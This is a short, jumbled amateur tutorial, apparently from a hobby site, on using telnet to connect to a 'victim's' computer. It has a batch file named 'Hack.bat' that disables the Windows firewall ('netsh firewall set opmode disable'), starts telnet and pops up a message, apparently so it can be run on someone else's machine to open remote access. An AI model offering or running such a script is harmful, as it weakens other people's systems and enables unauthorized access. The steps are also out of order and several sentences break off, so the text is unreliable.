"net start telnet"
This is to start telnet in your computer. You need it started in your computer and victims computer in order to connect successfully.
So you wanna connect to your friends computer using telnet. What you'll need to do is open command prompt. Type the following...
"Telnet"Then type this
Okay so you dont know your victim's ip address nor the open port number. These are some ways you can get it.
netsh firewall set opmode disable
net start telnet
msg * Hey isn't this cool!
-save it. remember save it as a bat file. For example: Hack.bat.... save
O "ip address" 
should look like this:
O 188.8.131.52 
press enter and it should say connecting. type Y (i think it asks to press yes to continue)